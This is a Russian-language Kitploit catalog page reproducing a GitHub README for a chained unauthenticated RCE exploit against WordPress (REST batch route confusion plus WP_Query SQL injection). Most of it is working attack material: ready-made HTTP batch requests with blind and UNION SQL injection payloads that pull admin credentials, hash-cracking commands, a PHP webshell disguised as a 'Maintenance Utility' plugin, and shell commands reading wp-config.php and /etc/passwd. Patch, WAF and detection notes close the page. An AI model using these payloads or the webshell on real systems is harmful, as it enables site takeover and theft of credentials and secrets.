Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-60137_CVE-2026-63030 — Эксплойт WordPress для неаутентифицированного RCE, сочетающий путаницу маршрутов и SQL-инъекцию. Предоставлены автоматизированный скрипт, настройка лаборатории и подробный анализ уязвимости. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

Эксплойт WordPress для неаутентифицированного RCE, сочетающий путаницу маршрутов и SQL-инъекцию. Предоставлены автоматизированный скрипт, настройка лаборатории и подробный анализ уязвимости.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
24 дней назадЕщё не проверено

CVE-2026-60137 + CVE-2026-63030 — WordPress: RCE без аутентификации

Уязвимость: Путаница маршрутов пакетных запросов REST + SQL-инъекция в WP_Query → полное RCE

CVSS v3.1: 10.0 / 10.0 — КРИТИЧЕСКИЙ | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Затронутые версии: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Исправлено в: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## Быстрый старт

### 1. Настройка уязвимой лаборатории

**Требования:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Запустите эксплойт```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. Ожидаемый вывод```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

Файлы в этом репозитории


Детальный анализ уязвимости

CVE-2026-60137 (в связке с CVE-2026-63030)

Уязвимость: Неаутентифицированное удалённое выполнение кода — REST Batch Route Confusion + SQL-инъекция WP_Query

CVSS v3.1: 10.0 / 10.0 — КРИТИЧЕСКИЙ

Вектор: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Обзор

CVE-2026-60137 — это уязвимость неаутентифицированного RCE в ядре WordPress. Она объединяет две независимые ошибки в полную цепочку эксплуатации — от нулевого доступа до полной компрометации сервера:

CVEОшибкаРоль в цепочке
CVE-2026-63030REST Batch Route ConfusionОбход аутентификации
CVE-2026-60137SQL-инъекция author__not_inПроизвольное чтение/запись базы данных

Затронутые версии:

  • Полный RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • Только SQLi (требуется вспомогательный плагин): 6.8.0 – 6.8.5
  • Исправлено: 6.9.5, 7.0.2, 7.1-beta2+

Условия эксплуатации:

  • REST API является публичным (по умолчанию в WordPress)
  • Нет постоянного объектного кэша (по умолчанию он отсутствует)
  • Как минимум 1 опубликованная запись (по умолчанию есть «Hello World»)
  • Не требуется ни учётная запись, ни сессия

→ Подавляющее большинство установок WordPress уязвимы по умолчанию.

2. Терминология

REST Batch эндпоинт (/wp-json/batch/v1)

Позволяет отправлять несколько REST API-запросов в рамках одного HTTP-запроса:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
Каждый подзапрос сопоставляется со своим обработчиком, и каждый обработчик имеет собственный **колбэк разрешений**.

### WP_Query — `author__not_in`

Основной класс запросов к базе данных. Параметр `author__not_in` принимает массив целых чисел, формируя SQL-выражение:```sql
AND post_author NOT IN (5, 12, 23)

Каждый элемент проходит через absint() → сохраняется только целая часть.

wp_parse_url()

Обёртка для parse_url(). При получении недействительного URL → возвращает WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. Корневая причина — Ошибка A: Путаница пакетных маршрутов (CVE-2026-63030)

**Файл:** `wp-includes/rest-api/class-wp-rest-server.php`

### Уязвимый исходный код:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Механизм:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### Почему `"///"` вызывает баг?

Когда PHP `parse_url()` встречает `"///"`, она пытается разобрать её в соответствии с **RFC 3986** — структурой URL:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

При получении "///" он интерпретирует это как:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
Возвращаемый результат PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress оборачивает это в wp_parse_url() → определяет нет допустимой схемы, нет допустимого хоста, нет значимого пути → возвращает WP_Error.

wp_parse_url("///") возвращает WP_Error (некорректный URL). Эта ошибка приводит к тому, что запрос пропускается в цикле построения $matches, но НЕ пропускается в цикле обработки → массив становится рассинхронизированным.

4. Корневая причина — Ошибка B: SQL-инъекция (CVE-2026-60137)

Файл: wp-includes/class-wp-query.php

Уязвимый исходный код:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### Обычный (безопасный) путь:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST-контроллер (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### Путь с путаницей маршрутов (Уязвимый):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

Когда возникает рассинхронизация пакетной обработки, параметры запроса не проходят через REST-контроллер → необработанная строка попадает напрямую в WP_Query → wp_parse_id_list() имеет обходной путь для граничного случая → SQL-инъекция.

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
Сгенерированный SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. Почему связывать оба бага?

СценарийРезультат
Ошибка A сама по себе (путаница маршрутов)Обход разрешений → но нечего внедрять
Ошибка B сама по себе (SQLi)REST-контроллер всегда приводит входные данные → инъекция невозможна
Ошибка A + Ошибка BПутаница обходит контроллер → необработанная строка попадает в SQL → RCE

По отдельности эти два бага безвредны. Только при объединении:

  • Ошибка A: убирает уровень санитизации (REST-контроллер)
  • Ошибка B: внедряет SQL, поскольку санитизация была обойдена

6. Анализ цепочки атаки

Фаза 1: Путаница маршрутов```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (сработал праймер)

→ Response[1]: `rest_invalid_handler` (подтверждена десинхронизация обработчика)

### **Фаза 2: SQL-инъекция — извлечение данных**

**Слепое Boolean :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Сравните ответ TRUE vs FALSE → бинарный поиск по каждому символу.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Фальшивая строка поста, содержащая учётные данные, возвращаемые в JSON-ответе.

→ Результат: успешно извлечены `user_login` и `user_pass` (bcrypt-хеш) из `wp_users`.

### **Фаза 3: Взлом хеша → Вход в админ-панель**

Хеш, полученный на фазе 2, имеет формат bcrypt (`$wp$2y$10$...`). Удалите префикс `$wp$` → взломайте с помощью john/hashcat и словаря → получите пароль в открытом виде → войдите по адресу `/wp-login.php`.

**Примечание:** Точка внедрения находится внутри предложения `WHERE` оператора `SELECT`. MySQL отключает множественные операторы → UNION — только для чтения, а не для записи → нельзя напрямую выполнить INSERT нового администратора через SQLi. Необходимо взломать хеш, чтобы получить валидную сессию.

### Фаза 4: Загрузка веб-шелла```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Фаза 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. ЭКСПЛУАТАЦИЯ**

Эксплуатация CVE-2026-60137 позволяет перейти от **нулевого доступа** — без учётной записи, без пароля, без сессии — к **полному контролю над сервером** исключительно через HTTP-запросы.

**Требования:** Целевая система работает на WordPress 6.9.0–6.9.4 или 7.0.0–7.0.1 с публичным REST API (включён по умолчанию). Входить в систему или знать какие-либо учётные данные не требуется.

**Цепочка эксплуатации состоит из 5 фаз:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Фаза 1: Подтверждение путаницы маршрутов

Цель: Подтвердить, что цель уязвима, — массив обработчиков рассинхронизируется при отправке стартового пути "///".

Принцип: Конечная точка batch позволяет отправлять несколько REST-запросов в одном HTTP-вызове. Когда wp_parse_url("///") завершается неудачей, WordPress пропускает этот запрос при построении массива $matches, но НЕ пропускает его при диспетчеризации → обработчики смещаются → последующий запрос выполняется с неправильным callback-ом проверки прав → обход аутентификации.

Отправьте запрос:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**Ответ:**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

Как читать:

images/image.png

Мы видим, что rest_invalid_handler означает: "WordPress понимает, что обработчик НЕ СООТВЕТСТВУЕТ запросу"

→ Это означает, что массив $matches УЖЕ РАССИНХРОНИЗИРОВАН, праймер "///" СРАБОТАЛ, и эту рассинхронизацию МОЖНО использовать, чтобы запрос выполнялся с колбэком прав доступа ДРУГОГО МАРШРУТА (маршрута, не требующего аутентификации) → ОБХОД АУТЕНТИФИКАЦИИ ВОЗМОЖЕН

Видим rest_invalid_handler → Баг A подтверждён.

7.2 Фаза 2: Подтверждение SQL-инъекции

Шаг 1 — TRUE против FALSE

TRUE (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Difference in X-WP-Total → SQLi confirmed.

Step 2 — Extract admin username (Blind Boolean)

1st Character:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-W-Total=8 (TRUE) → значит, первый символ — `'a'`

Перебирая последовательно, получаем: `user_login` = **"admin"**

#### **Шаг 3 — Извлечение хэша пароля**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Используйте бинарный поиск, чтобы определить ASCII-код каждого символа в user_pass:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
Два противоположных ответа подтверждают, что ASCII первого символа попадает в диапазон **(30, 40]**. Продолжаем сужать диапазон:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Продолжаем бинарный поиск по каждой позиции → получаем строку префикса хэша $wp$:

Продолжаем использовать BLIND SQL посимвольно:

→ Полный хэш: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Фаза 3: Вход администратора

После фазы 2 у нас есть:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Взлом хэша

Хэши WordPress используют формат bcrypt ($2y$10$) со стоимостью (cost factor) 10. Перед взломом нужно удалить префикс $wp$, так как hashcat/john принимают только чистый bcrypt:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**Result:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

Пароль **`admin123`** есть в словаре → john успешно взламывает его сразу же.

→ Успешный вход в `/wp-login.php` с `admin:admin123`.

### **7.4 Фаза 4: Загрузка веб-шелла**

На данный момент у нас есть действительная сессия администратора. Следующая цель — **установить бэкдор на сервере**, чтобы сохранить доступ независимо от учётных данных.

WordPress позволяет администраторам загружать плагины в формате ZIP — это легитимная функция, и мы будем злоупотреблять ею.

#### **Создание веб-шелла**

Сначала нам нужен PHP-файл, который выполняет системные команды. Этот файл будет упакован в поддельный плагин, чтобы WordPress его принял:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

Токен secret123 действует как пароль — не позволяя другим случайно запустить оболочку.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

Успешно создано.

#### **Загрузка в WordPress**

После успешного создания `shell.zip` загрузите zip-файл в раздел плагинов, чтобы активировать его.

WordPress распаковывает и размещает файл по адресу:```
/var/www/html/wp-content/plugins/shell/shell.php

Плагин появляется в списке под именем "Maintenance Utility" со статусом Active → веб-шелл теперь готов к вызову через HTTP.

images/image.png

UPLOAD и ACTIVE успешно выполнены.

7.5 Этап 5: RCE

Итак, шелл находится на сервере. Вызовите его, чтобы запустить шелл.

Подтверждение RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Работая как пользователь www-data — пользователь веб-сервера. Далее, усиливаем воздействие:

Чтение файла конфигурации WordPress:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — Выполняет команду чтения файла `wp-config.php` через веб-шелл — раскрывая все секретные ключи WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) и учетные данные базы данных. Это самая чувствительная информация в установке WordPress.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* Ответ возвращает содержимое `wp-config.php`, включая `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — достаточное для прямого доступа к серверу базы данных без обращения к WordPress.

#### **Прочитать всех системных пользователей:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Подтверждает доступ на уровне ОС, больше не ограниченный рамками WordPress.

На этом этапе цепочка эксплуатации завершена:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 Сводка**

| **#** | **Этап** | **Метод** | **Путь** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Извлечение username | POST | `/?rest_route=/batch/v1` |
| 4 | Извлечение hash | POST | `/?rest_route=/batch/v1` |
| 5 | Вход admin | POST | `/wp-login.php` |
| 6 | Получение nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Загрузка shell | POST | `/wp-admin/update.php` |
| 8 | Активация | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 запросов. Ноль начальных учётных данных. От страницы входа → полный контроль над сервером.**

## 8. Детализация CVSS

| Метрика | Значение | Причина |
| --- | --- | --- |
| Вектор атаки | Сетевой | Удалённо через HTTP |
| Сложность атаки | Низкая | Детерминированная, не требуется тайминг/гонка |
| Требуемые привилегии | Нет | Полностью без аутентификации |
| Взаимодействие с пользователем | Нет | Действия жертвы не требуются |
| Область действия | Изменена | Уровень WP → ОС (www-data) |
| Конфиденциальность | Высокая | Полное чтение БД |
| Целостность | Высокая | Произвольная запись в БД, загрузка файлов |
| Доступность | Высокая | DROP таблиц, программы-вымогатели |

## 9. Воздействие

### Техническое

| Слой | Воздействие |
| --- | --- |
| База данных | Доступ на чтение/запись ко всему: wp_users, wp_options, wp_posts |
| Приложение | Создание администраторов, изменение контента, установка бэкдоров |
| Сервер | RCE от имени www-data, чтение wp-config.php, /etc/passwd |
| Сеть | Переход к внутренним сервисам через учётные данные БД |

### Бизнес

| Сценарий | Последствия |
| --- | --- |
| Электронная коммерция | Утечка PII, кража платёжных ключей, внедрение скиммеров |
| Корпоративный сектор | Дефейс, SEO-спам, распространение вредоносного ПО |
| Мультисайт | 1 эксплойт → компрометация всей сети |
| SaaS (WP-маркетинг) | Извлечение переменных окружения → переход в production |

### Данные под угрозой

- `wp_users`: имя пользователя, email, хеш пароля
- `wp_usermeta`: PII (имя, телефон, адрес), session_tokens
- `wp_options`: учётные данные БД, SMTP, ключи платёжных API, соли WordPress
- `wp-config.php`: хост/пользователь/пароль БД, секретные ключи
- `/proc/self/environ`: переменные окружения

## 10. Защита и устранение уязвимостей

### 10.1 Патч (полный)

| Текущая версия | Требуется обновить до |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 Исправление кода

**Ошибка A — Путаница маршрутов:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Баг B — SQL-инъекция:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 Временное смягчение

**1. Отключите конечную точку пакетной обработки (наиболее эффективно):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Включите Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ UNION-инъекция не отражается (кэш возвращает устаревшие данные).

**3. Правило WAF:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Обнаружение

Паттерны журналов:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**Проверка IOC:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Скачать инструмент
ФайлОписание
README.mdПолный анализ уязвимости и описание эксплуатации
exploit.pyАвтоматизированный эксплойт-скрипт (от нулевого доступа до RCE одной командой)
docker-compose.ymlУязвимая лабораторная среда WordPress
chain-rce.mdДокументация автоматизированной цепочки RCE
images/Скриншоты ручной эксплуатации
Ответ
Код
Значение
[0]parse_path_failedПраймер сработал — wp_parse_url("///") завершился ошибкой
[1]rest_invalid_handlerДЕСИНХРОНИЗАЦИЯ! Запрос попал в неверный обработчик → обход аутентификации
ПозицияASCIIСимволПримечания
136$Префикс хэша
2119w
3112p
436$→ $wp$ = вариант bcrypt
5-20...2y$10$aJgATdlhfIСтоимость (cost factor) + соль